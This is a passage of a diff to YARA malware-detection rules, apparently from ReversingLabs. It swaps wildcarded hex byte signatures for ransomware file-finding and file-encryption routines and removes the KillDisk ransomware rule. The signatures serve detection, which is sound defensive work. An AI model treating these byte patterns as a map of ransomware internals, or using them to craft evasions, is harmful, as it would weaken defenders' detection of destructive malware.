-            15 ?? ?? ?? ?? 51 BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 8B C6 C6 07 ?? 47
-            83 E8 ?? 75 ?? BF ?? ?? ?? ?? BA ?? ?? ?? ?? 53 8B CF E8 ?? ?? ?? ?? 59 6A ?? 58 C6
-            03 ?? 43 83 E8 ?? 75 ?? B9 ?? ?? ?? ?? C6 05 ?? ?? ?? ?? ?? 3B E9 74 ?? 55 51 8B D6
-            E8 ?? ?? ?? ?? 83 C4 ?? B9 ?? ?? ?? ?? B8 ?? ?? ?? ?? 3B C1 74 ?? 50 51 8B D6 E8 ??
-            ?? ?? ?? 83 C4 ?? 6A ?? 5B 53 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 8D 44 24 ?? B9 ?? ??
-            ?? ?? 50 51 8B D3 E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? B8 ?? ?? ?? ?? 83 C4 ?? 3B C8 74 ??
-            51 50 6A ?? 5A 8B C8 E8 ?? ?? ?? ?? 83 C4 ?? B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 3B C1 74
-            ?? 50 51 8B D6 E8 ?? ?? ?? ?? 83 C4 ?? B9 ?? ?? ?? ?? B8 ?? ?? ?? ?? 3B C1 74 ?? 50
-            51 6A ?? 5A E8 ?? ?? ?? ?? 83 C4 ?? B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 6A ?? 5B 3B C1 74
-            ?? 50 51 8B D3 E8 ?? ?? ?? ?? 83 C4 ?? B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 3B C1 74 ?? 50
-            51 6A ?? 5A E8 ?? ?? ?? ?? 83 C4 ?? 8D 44 24 ?? 8B D7 50 8D 4C 24 ?? E8 ?? ?? ?? ??
-            59 BA ?? ?? ?? ?? 8D 4C 24 ?? 6A ?? 52 E8 ?? ?? ?? ?? 59 59 83 64 24 ?? ?? 83 EB ??
-            75 ?? 21 9C 24 ?? ?? ?? ?? 8D 44 24 ?? 6A ?? 59 C6 00 ?? 40 83 E9 ?? 75 ?? 8B C6 C6
-            45 ?? ?? 45 83 E8 ?? 75 ?? C6 07 ?? 47 83 EE ?? 75 ?? 33 C0 5F 40 5E 5D 5B 8B E5 5D
-            C3
+		$encrypt_files_v1_p2 = {
+            84 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 50 E8 ?? ?? ?? ?? 89 34 24 E8 ?? ?? ?? ?? 8B 74 24
+            ?? 8B 7C 24 ?? 89 D1 89 74 24 ?? 89 7C 24 ?? 83 C4 ?? 39 F0 19 F9 7D ?? 89 44 24 ??
+            89 54 24 ?? 8B 7C 24 ?? 8B 74 24 ?? 89 F9 89 F5 C1 F9 ?? 89 C8 89 4C 24 ?? 31 CD 8B
+            74 24 ?? C1 F8 ?? 89 44 24 ?? 89 E8 29 F0 8B 74 24 ?? 89 C7 83 E7 ?? 31 CF 89 F8 8B
+            7C 24 ?? 29 F0 8B 74 24 ?? 89 FA 19 FA 8B 7C 24 ?? 29 C6 89 74 24 ?? 19 D7 83 EC ??
+            89 7C 24 ?? 8D 44 24 ?? 50 E8 ?? ?? ?? ?? 8D BC 24 ?? ?? ?? ?? 8D B4 24 ?? ?? ?? ??
+            B9 ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? 31 C0 F3 AB 89 94 24 ?? ?? ?? ?? 56 6A ?? FF 74
+            24 ?? FF B4 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 C7 85 C0 0F 84 ?? ?? ?? ?? 83
+            EC ?? FF 74 24 ?? E8 ?? ?? ?? ?? 5F 5D FF B4 24 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4
+            ?? 89 C7 85 C0 0F 84 ?? ?? ?? ?? 8B B4 24 ?? ?? ?? ?? 8B 54 24 ?? 31 FF 8B 44 24 ??
+            89 7C 24 ?? 89 74 24 ?? 8D 74 24 ?? 89 D7 89 74 24 ?? 8D B3 ?? ?? ?? ?? 09 C7 89 74
         }
-		$find_files_p1 = {
-            55 8B EC 83 EC ?? 53 56 6A ?? 59 E8 ?? ?? ?? ?? 8B F0 66 C7 45 ?? ?? ?? 33 DB 89 35
-            ?? ?? ?? ?? B1 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B C3 C7 45 ?? ?? ?? ??
-            ?? 66 C7 45 ?? ?? ?? 02 C8 30 4C 05 ?? 40 83 F8 ?? 73 ?? 8A 4D ?? EB ?? 8D 45 ?? 88
-            5D ?? 50 8D 55 ?? 8B CE E8 ?? ?? ?? ?? 0F 28 05 ?? ?? ?? ?? B0 ?? 59 B1 ?? 88 5D ??
-            32 C1 88 4D ?? 88 45 ?? 8B CB 0F 11 45 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ??
-            66 C7 45 ?? ?? ?? 88 5D ?? 8A 45 ?? 30 44 0D ?? 41 83 F9 ?? 72 ?? 8B 0D ?? ?? ?? ??
-            8D 45 ?? 50 8D 55 ?? 88 5D ?? E8 ?? ?? ?? ?? 59 B1 ?? 88 5D ?? B0 ?? 88 4D ?? 32 C1
-            C7 45 ?? ?? ?? ?? ?? 88 45 ?? 8B C3 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 80 44
-            05 ?? ?? 40 83 F8 ?? 72 ?? 8B 0D ?? ?? ?? ?? 8D 45 ?? 50 8D 55 ?? E8 ?? ?? ?? ?? 59
-            6A ?? 33 C9 C7 45 ?? ?? ?? ?? ?? 5B B0 ?? 88 5D ?? 32 C3 88 4D ?? 88 45 ?? 8B C1 C7
-            45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 88 4D ?? 80 44 05 ?? ?? 40 83 F8 ?? 72 ?? 8B
-            0D ?? ?? ?? ?? 8D 45 ?? 50 8D 55 ?? E8 ?? ?? ?? ?? 59 6A ?? 88 5D ?? B2 ?? 66 C7 45
-            ?? ?? ?? 33 C9 66 C7 45 ?? ?? ?? C6 45 ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? 5B 8D
-            04 0A 30 44 0D ?? 41 3B CB 73 ?? 8A 55 ?? EB ?? 8B 0D ?? ?? ?? ?? 8D 45 ?? 50 8D 55
-            ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 59 6A ?? 33 C9 C6 45 ?? ?? 58 34 ?? 88 4D ?? 88 45
+		$encrypt_files_v1_p3 = {
+            24 ?? 0F 84 ?? ?? ?? ?? 8B 4C 24 ?? 8B 6C 24 ?? 89 4C 24 ?? EB ?? 66 90 83 EC ?? 31
+            ED FF B4 24 ?? ?? ?? ?? FF B4 24 ?? ?? ?? ?? FF B4 24 ?? ?? ?? ?? FF 74 24 ?? FF 74
+            24 ?? FF 74 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? 31 D2 6A ?? 8B 84 24 ?? ?? ?? ?? 52 F7 D8
+            50 57 E8 ?? ?? ?? ?? 57 FF B4 24 ?? ?? ?? ?? 6A ?? FF B4 24 ?? ?? ?? ?? E8 ?? ?? ??
+            ?? 8B 44 24 ?? 8B BC 24 ?? ?? ?? ?? 8B 54 24 ?? 29 F8 19 EA 89 44 24 ?? 89 D6 89 54
+            24 ?? 83 C4 ?? 09 C6 74 ?? 39 84 24 ?? ?? ?? ?? 89 E9 8B 7C 24 ?? 19 D1 0F 4C 84 24
+            ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? 8B 84 24 ?? ?? ?? ?? 89 44 24 ?? 8B 84 24 ?? ?? ??
+            ?? 89 44 24 ?? 8B 84 24 ?? ?? ?? ?? 89 44 24 ?? 8B 84 24 ?? ?? ?? ?? 89 44 24 ?? 57
+            FF B4 24 ?? ?? ?? ?? 6A ?? FF B4 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 39 84 24 ??
+            ?? ?? ?? 0F 84 ?? ?? ?? ?? 83 EC ?? BF ?? ?? ?? ?? FF 74 24 ?? E8 ?? ?? ?? ?? 83 C4
+            ?? E9 ?? ?? ?? ?? 83 EC ?? FF B4 24 ?? ?? ?? ?? FF B4 24 ?? ?? ?? ?? E8 ?? ?? ?? ??
+            83 C4 ?? E9
         }
-		$find_files_p2 = {
-            B2 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 66 C7 45 ?? ?? ?? 8D 04 0A 30 44 0D
-            ?? 41 83 F9 ?? 73 ?? 8A 55 ?? EB ?? 8B 0D ?? ?? ?? ?? 8D 45 ?? 50 8D 55 ?? C6 45 ??
-            ?? E8 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 8D 45 ?? 80 F3 ?? C6 45 ?? ?? 88 5D ?? 8D 55 ??
-            33 DB C6 45 ?? ?? 50 88 5D ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ??
-            ?? 59 59 6A ?? 58 34 ?? C6 45 ?? ?? 88 45 ?? B2 ?? 88 5D ?? 8B CB C7 45 ?? ?? ?? ??
-            ?? 66 C7 45 ?? ?? ?? 88 5D ?? 8D 04 0A 30 44 0D ?? 41 83 F9 ?? 73 ?? 8A 55 ?? EB ??
-            8B 0D ?? ?? ?? ?? 8D 45 ?? 50 8D 55 ?? 88 5D ?? E8 ?? ?? ?? ?? 59 66 C7 45 ?? ?? ??
-            8B C3 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 80 44 05 ?? ??
-            40 83 F8 ?? 72 ?? 8B 0D ?? ?? ?? ?? 8D 45 ?? 50 8D 55 ?? E8 ?? ?? ?? ?? B0 ?? C6 45
-            ?? ?? 34 ?? 88 5D ?? 59 88 45 ?? B1 ?? C7 45 ?? ?? ?? ?? ?? 8B C3 C7 45 ?? ?? ?? ??
-            ?? C7 45 ?? ?? ?? ?? ?? 66 C7 45 ?? ?? ?? 88 5D ?? 30 4C 05 ?? 40 83 F8 ?? 73 ?? 8A
-            4D ?? EB ?? 8B 0D ?? ?? ?? ?? 8D 45 ?? 50 8D 55 ?? 88 5D ?? E8 ?? ?? ?? ?? 0F 28 05
-            ?? ?? ?? ?? 59 66 C7 45 ?? ?? ?? 8B CB 0F 11 45 ?? C7 45 ?? ?? ?? ?? ?? 88 5D ?? 8A
-            45 ?? 30 44 0D ?? 41 83 F9 ?? 72 ?? 8B 0D ?? ?? ?? ?? 8D 45 ?? 50 8D 55 ?? 88 5D ??
-            E8 ?? ?? ?? ?? 59 5E 5B 8B E5 5D C3
+		$find_files_v1_p1 = {
+            55 89 C5 57 E8 ?? ?? ?? ?? 81 C7 ?? ?? ?? ?? 56 53 81 EC ?? ?? ?? ?? 89 54 24 ?? 8B
+            B4 24 ?? ?? ?? ?? 89 7C 24 ?? 89 FB 89 4C 24 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 89 44 24
+            ?? C7 44 24 ?? ?? ?? ?? ?? 85 C0 74 ?? 8D 58 ?? 80 7C 05 ?? ?? 0F 45 D8 89 5C 24 ??
+            8B BC 24 ?? ?? ?? ?? 83 E7 ?? 74 ?? 83 EC ?? 8D 44 24 ?? 89 44 24 ?? 50 55 6A ?? 8B
+            5C 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 8B 5C 24 ?? E8 ?? ?? ?? ?? 8B 00 83 F8
+            ?? 0F 85 ?? ?? ?? ?? BF ?? ?? ?? ?? C6 44 24 ?? ?? C7 44 24 ?? ?? ?? ?? ?? EB ?? 8D
+            B4 26 ?? ?? ?? ?? 66 90 83 EC ?? 8D 44 24 ?? 89 44 24 ?? 50 55 6A ?? 8B 5C 24 ?? E8
+            ?? ?? ?? ?? 83 C4 ?? 85 C0 78 ?? 8B 84 24 ?? ?? ?? ?? 25 ?? ?? ?? ?? 3D ?? ?? ?? ??
+            0F 84 ?? ?? ?? ?? 3D ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? C6 44 24 ?? ?? 31 FF C7 44 24 ??
+            ?? ?? ?? ?? 8B 54 24 ?? 8B 44 24 ?? F6 84 24 ?? ?? ?? ?? ?? 74 ?? 85 F6 0F 84 ?? ??
+            ?? ?? 8B 4E ?? 8B 5E ?? 31 D1 31 C3 09 CB 0F 84 ?? ?? ?? ?? 31 FF 81 C4 ?? ?? ?? ??
+            89 F8 5B 5E 5F 5D C3 8D 74 26 ?? 90 8B 5C 24 ?? E8 ?? ?? ?? ?? 89 C7 8B 00 83 F8 ??
+            0F 85 ?? ?? ?? ?? 83 EC ?? FF 74 24 ?? 55 6A ?? 8B 5C 24 ?? E8 ?? ?? ?? ?? 83 C4 ??
+            85 C0 0F 85 ?? ?? ?? ?? BF ?? ?? ?? ?? C6 44 24 ?? ?? C7 44 24 ?? ?? ?? ?? ?? E9 ??
+            ?? ?? ?? 8D 74 26 ?? 90 89 54 24 ?? 8B 94 24 ?? ?? ?? ?? 89 44 24 ?? 8B 84 24 ?? ??
+            ?? ?? 89 74 24 ?? 89 44 24 ?? 89 54 24 ?? 85 F6 0F 84 ?? ?? ?? ?? 8B 46 ?? 8B 4C 24
+            ?? 83 C0 ?? 83 C1 ?? 89 44 24 ?? 89 44 24 ?? 8B 46 ?? 89 4C 24 ?? 89 4C 24 ?? 89 44
         }
-		$find_folders = {
-            55 8B EC 83 EC ?? 53 56 6A ?? 59 E8 ?? ?? ?? ?? 0F 28 05 ?? ?? ?? ?? 33 DB 8B F0 66
-            C7 45 ?? ?? ?? 89 35 ?? ?? ?? ?? 8B CB 0F 11 45 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ??
-            ?? ?? ?? 66 C7 45 ?? ?? ?? 88 5D ?? 8A 45 ?? 30 44 0D ?? 41 83 F9 ?? 72 ?? 8D 45 ??
-            88 5D ?? 50 8D 55 ?? 8B CE E8 ?? ?? ?? ?? 0F 28 05 ?? ?? ?? ?? B0 ?? 59 B1 ?? 88 5D
-            ?? 32 C1 88 4D ?? 88 45 ?? 8B CB 0F 11 45 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ??
-            ?? 66 C7 45 ?? ?? ?? 8A 45 ?? 30 44 0D ?? 41 83 F9 ?? 72 ?? 8B 0D ?? ?? ?? ?? 8D 45
-            ?? 50 8D 55 ?? 88 5D ?? E8 ?? ?? ?? ?? 59 B1 ?? 88 5D ?? B0 ?? 88 4D ?? 32 C1 C7 45
-            ?? ?? ?? ?? ?? 88 45 ?? B2 ?? C7 45 ?? ?? ?? ?? ?? 8B CB 66 C7 45 ?? ?? ?? 88 5D ??
-            8D 04 0A 30 44 0D ?? 41 83 F9 ?? 73 ?? 8A 55 ?? EB ?? 8B 0D ?? ?? ?? ?? 8D 45 ?? 50
-            8D 55 ?? 88 5D ?? E8 ?? ?? ?? ?? 59 B1 ?? 88 5D ?? B0 ?? 88 4D ?? 32 C1 C7 45 ?? ??
-            ?? ?? ?? 88 45 ?? 8B C3 C7 45 ?? ?? ?? ?? ?? 66 C7 45 ?? ?? ?? 88 5D ?? 80 44 05 ??
-            ?? 40 83 F8 ?? 72 ?? 8B 0D ?? ?? ?? ?? 8D 45 ?? 50 8D 55 ?? E8 ?? ?? ?? ?? 59 66 C7
-            45 ?? ?? ?? 8B C3 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 66 C7 45 ?? ?? ?? 80 44
-            05 ?? ?? 40 83 F8 ?? 72 ?? 8B 0D ?? ?? ?? ?? 8D 45 ?? 50 8D 55 ?? E8 ?? ?? ?? ?? 59
-            66 C7 45 ?? ?? ?? B1 ?? C7 45 ?? ?? ?? ?? ?? 8B C3 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ??
-            ?? ?? ?? 66 C7 45 ?? ?? ?? 30 4C 05 ?? 40 83 F8 ?? 73 ?? 8A 4D ?? EB ?? 8B 0D ?? ??
-            ?? ?? 8D 45 ?? 50 8D 55 ?? 88 5D ?? E8 ?? ?? ?? ?? 59 66 C7 45 ?? ?? ?? B2 ?? C7 45
-            ?? ?? ?? ?? ?? 8B CB C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 66 C7 45 ?? ?? ?? 8D
-            04 0A 30 44 0D ?? 41 83 F9 ?? 73 ?? 8A 55 ?? EB ?? 8B 0D ?? ?? ?? ?? 8D 45 ?? 50 8D
-            55 ?? 88 5D ?? E8 ?? ?? ?? ?? 59 5E 5B 8B E5 5D C3
+		$find_files_v1_p2 = {
+            24 ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 83 FF ?? 0F 84 ?? ?? ?? ?? 8B
+            84 24 ?? ?? ?? ?? 83 E0 ?? 89 44 24 ?? 75 ?? 8D 44 24 ?? 50 FF 74 24 ?? FF 74 24 ??
+            55 8B 44 24 ?? FF D0 89 C7 83 C4 ?? 85 C0 0F 85 ?? ?? ?? ?? 85 F6 74 ?? 8B 84 24 ??
+            ?? ?? ?? 8B 5C 24 ?? 89 6C 24 ?? 8B 4C 24 ?? 8B BC 24 ?? ?? ?? ?? 89 C5 EB ?? 8D B6
+            ?? ?? ?? ?? 8B 36 85 F6 74 ?? 8B 46 ?? 8B 56 ?? 31 D8 31 CA 09 C2 75 ?? 8B 46 ?? 8B
+            56 ?? 31 E8 31 FA 09 C2 0F 84 ?? ?? ?? ?? 8B 36 85 F6 75 ?? 8B 6C 24 ?? 8B 7C 24 ??
+            85 FF 74 ?? 80 7C 24 ?? ?? 0F 85 ?? ?? ?? ?? 8B 44 24 ?? C6 44 05 ?? ?? 8B 44 24 ??
+            85 C0 0F 84 ?? ?? ?? ?? 8D 44 24 ?? 50 FF 74 24 ?? FF 74 24 ?? 55 8B 44 24 ?? FF D0
+            83 C4 ?? 89 C7 81 C4 ?? ?? ?? ?? 89 F8 5B 5E 5F 5D C3 66 90 83 EC ?? 6A ?? 55 8B 5C
+            24 ?? E8 ?? ?? ?? ?? 8B 5C 24 ?? 89 44 24 ?? 89 C7 E8 ?? ?? ?? ?? 8B 00 89 44 24 ??
+            83 C4 ?? 85 FF 79 ?? 83 F8 ?? 0F B6 4C 24 ?? BA ?? ?? ?? ?? 0F 94 C0 84 C0 B8 ?? ??
+            ?? ?? 0F 44 44 24 ?? 0F 45 CA 89 44 24 ?? 88 4C 24 ?? 8B 44 24 ?? 85 C0 0F 85 ?? ??
+            ?? ?? 83 EC ?? FF 74 24 ?? 8B 5C 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 8D B4
+            26 ?? ?? ?? ?? 8D 76 ?? 89 54 24 ?? 8B 94 24 ?? ?? ?? ?? 89 44 24 ?? 8B 84 24 ?? ??
+            ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 44 24 ?? 89 54 24 ?? 8B 44 24 ?? C7 44 24 ?? ?? ??
+            ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8D 48 ?? 89 4C 24 ?? 89 4C 24 ?? 85 C0 74 ?? 80 7C 05
+            ?? ?? 74 ?? E9 ?? ?? ?? ?? 8D 76 ?? 80 7C 05 ?? ?? 0F 85 ?? ?? ?? ?? 83 E8 ?? 75 ??
+            31 D2 89 54 24 ?? E9 ?? ?? ?? ?? 8D 74 26 ?? 90 89 54 24 ?? 8B 94 24 ?? ?? ?? ?? 89
         }
-
-	condition:
-		uint16(0)==0x5A4D and ($find_folders and ( all of ($find_files_p*)) and ( all of ($encrypt_files_p*)))
-}
-rule REVERSINGLABS_Win32_Ransomware_Killdisk : TC_DETECTION MALICIOUS MALWARE FILE
-{
-	meta:
-		description = "Yara rule that detects KillDisk ransomware."
-		author = "ReversingLabs"
-		id = "bd04ac88-987a-58f0-8f0a-508662b3c930"
-		date = "2020-07-15"
-		modified = "2020-07-15"
-		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.KillDisk.yara#L1-L80"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "6148e6fc1363ff8995a9100e07139bfa658c72892db4d30a973bad0f2b3e6c3f"
-		score = 75
-		quality = 90
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Ransomware"
-		tc_detection_name = "KillDisk"
-		tc_detection_factor = 5
-		importance = 25
-
-	strings:
-		$encrypt_files = {
-            81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C4 89 84 24 ?? ?? ?? ?? 53 55 8B AC 24 ?? ?? ??
-            ?? 56 57 33 FF 8B F1 3B F7 89 7D ?? 89 7D ?? 75 ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 56
-            FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 95 C0 84 C0 75 ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 56 8D
-            4C 24 ?? 89 7C 24 ?? 89 7C 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? 84 C0 74 ?? B8 ?? ?? ?? ??
-            E9 ?? ?? ?? ?? 8B 5C 24 ?? 3B DF 8B 44 24 ?? 89 45 ?? 89 5D ?? 77 ?? 83 F8 ?? 0F 82
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 68 ?? ?? ?? ?? 6A ?? 57 6A ?? 68 ?? ?? ?? ?? 56 FF 15
-            ?? ?? ?? ?? 8B E8 3B EF 0F 84 ?? ?? ?? ?? 83 FD ?? 0F 84 ?? ?? ?? ?? 8B 0D ?? ?? ??
-            ?? 33 C0 89 44 24 ?? 89 44 24 ?? 89 44 24 ?? 89 44 24 ?? 89 44 24 ?? 89 44 24 ?? 89
-            44 24 ?? 89 44 24 ?? 8D 44 24 ?? 50 6A ?? 51 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 54
-            24 ?? 57 52 E8 ?? ?? ?? ?? 83 C4 ?? 8D 54 24 ?? 8D 44 24 ?? E8 ?? ?? ?? ?? 85 C0 0F
-            85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 57 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D
-            4C 24 ?? 51 8D 54 24 ?? 89 7C 24 ?? 52 8D BC 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ??
-            85 C0 0F 84 ?? ?? ?? ?? 8B 74 24 ?? 6A ?? 8B C6 05 ?? ?? ?? ?? 50 8B CB 83 D1 ?? 51
-            6A ?? 6A ?? 55 FF 15 ?? ?? ?? ?? 85 C0 89 44 24 ?? 0F 84 ?? ?? ?? ?? 83 F8 ?? 0F 84
-            ?? ?? ?? ?? 8D 4C 24 ?? 51 53 56 8B F8 E8 ?? ?? ?? ?? 83 C4 ?? 84 C0 0F 84 ?? ?? ??
-            ?? 68 ?? ?? ?? ?? 8D 54 24 ?? 6A ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? B9 ?? ?? ?? ?? 8D B4
-            24 ?? ?? ?? ?? 8D 7C 24 ?? 8D 44 24 ?? F3 A5 50 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ??
-            ?? ?? ?? 8B 08 89 8C 24 ?? ?? ?? ?? 8B 50 ?? 89 94 24 ?? ?? ?? ?? 8B 48 ?? 89 8C 24
-            ?? ?? ?? ?? 8B 50 ?? 89 94 24 ?? ?? ?? ?? 8B 48 ?? 89 8C 24 ?? ?? ?? ?? 8B 50 ?? 8D
-            74 24 ?? 89 94 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 6A ?? 6A ?? 53 50 55 FF 15
-            ?? ?? ?? ?? 6A ?? 8D 4C 24 ?? 51 68 ?? ?? ?? ?? 8D 54 24 ?? 52 55 C7 44 24 ?? ?? ??
-            ?? ?? FF 15 ?? ?? ?? ?? 8B F0 8B 44 24 ?? F7 DE 1B F6 83 E6 ?? 50 83 C6 ?? FF 15 ??
-            ?? ?? ?? 55 FF 15 ?? ?? ?? ?? 8B C6 EB ?? 8B 44 24 ?? 50 BE ?? ?? ?? ?? FF 15 ?? ??
-            ?? ?? 55 FF 15 ?? ?? ?? ?? 8B C6 EB ?? 55 BE ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B C6 EB
-            ?? 55 BE ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B C6 EB ?? 55 BE ?? ?? ?? ?? FF 15 ?? ?? ??
-            ?? 8B C6 EB ?? BE ?? ?? ?? ?? 8B C6 EB ?? B8 ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? ?? 5F 5E
-            5D 5B 33 CC E8 ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? C3
+		$find_files_v1_p3 = {
+            44 24 ?? 8B 84 24 ?? ?? ?? ?? 89 74 24 ?? 89 44 24 ?? 89 54 24 ?? E9 ?? ?? ?? ?? 90
+            8B 84 24 ?? ?? ?? ?? BF ?? ?? ?? ?? C6 44 24 ?? ?? 83 E0 ?? 83 F8 ?? 19 C0 83 E0 ??
+            83 C0 ?? 89 44 24 ?? E9 ?? ?? ?? ?? 8D B4 26 ?? ?? ?? ?? 90 8B 74 24 ?? 85 F6 0F 88
+            ?? ?? ?? ?? 83 EC ?? FF 74 24 ?? 8B 5C 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 C6 85 C0 0F
+            84 ?? ?? ?? ?? B8 ?? ?? ?? ?? 2B 44 24 ?? 89 44 24 ?? 8D B4 26 ?? ?? ?? ?? 8D 76 ??
+            83 EC ?? 56 8B 5C 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 80 78 ?? ??
+            0F 84 ?? ?? ?? ?? 83 EC ?? 8D 78 ?? 57 8B 5C 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? 3B 44 24
+            ?? 0F 83 ?? ?? ?? ?? 8B 44 24 ?? 83 EC ?? C6 44 05 ?? ?? 57 8B 44 24 ?? 01 E8 50 8B
+            5C 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 5A 5B 8D 48 ?? 8D 44 24 ?? 50 89 E8 FF B4 24 ??
+            ?? ?? ?? 8B 54 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 83 EC ?? 89 C7
+            56 8B 5C 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 66 90 80 78 ?? ?? 0F 84 ?? ??
+            ?? ?? 66 83 78 ?? ?? 0F 85 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8D B6 ?? ?? ?? ?? 80 7C 05 ??
+            ?? 8D 48 ?? 89 C2 0F 84 ?? ?? ?? ?? 85 C9 0F 84 ?? ?? ?? ?? 80 7C 05 ?? ?? 8D 50 ??
+            75 ?? E9 ?? ?? ?? ?? 8D B4 26 ?? ?? ?? ?? 66 90 89 C2 85 D2 0F 84 ?? ?? ?? ?? 80 7C
+            15 ?? ?? 8D 42 ?? 75 ?? E9 ?? ?? ?? ?? 8D B4 26 ?? ?? ?? ?? 85 FF 0F 84 ?? ?? ?? ??
+            31 FF C6 44 24 ?? ?? C7 44 24 ?? ?? ?? ?? ?? E9 ?? ?? ?? ?? 83 EC ?? 56 8B 5C 24 ??
+            E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 8B 07 E9 ?? ?? ?? ?? 8B 7C 24 ?? 89 FB BF ??
+            ?? ?? ?? E8 ?? ?? ?? ?? 83 EC ?? C7 00 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? E9 ??
+            ?? ?? ?? BF
         }
-		$app_whitelisting_1 = {
-            81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C4 89 84 24 ?? ?? ?? ?? 53 55 56 57 32 DB FF 15
-            ?? ?? ?? ?? 6A ?? 6A ?? 89 44 24 ?? FF 15 ?? ?? ?? ?? 8B E8 85 ED 89 6C 24 ?? 0F 84
-            ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 4C 24 ??
-            51 55 C7 44 24 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 64 24 ??
-            8B 54 24 ?? 3B 54 24 ?? 0F 84 ?? ?? ?? ?? B8 ?? ?? ?? ?? 33 FF E8 ?? ?? ?? ?? 85 C0
-            0F 86 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 85 DB 0F 84 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 8B C1
-            2B C3 C1 F8 ?? 3B C7 0F 86 ?? ?? ?? ?? 3B D9 8B F3 76 ?? E8 ?? ?? ?? ?? 8B 1D ?? ??
-            ?? ?? 8B 0D ?? ?? ?? ?? 89 74 24 ?? 8D 34 BE 3B F1 B8 ?? ?? ?? ?? 8B E8 77 ?? 3B F3
-            73 ?? E8 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 3B 75 ?? 72 ?? E8 ?? ?? ?? ?? 8B 1D ?? ?? ??
-            ?? 8B 44 24 ?? 39 06 74 ?? B8 ?? ?? ?? ?? 83 C7 ?? E8 ?? ?? ?? ?? 3B F8 72 ?? 8B 6C
-            24 ?? 8B 74 24 ?? FF 15 ?? ?? ?? ?? 3B F0 74 ?? 85 F6 74 ?? 56 6A ?? 6A ?? FF 15 ??
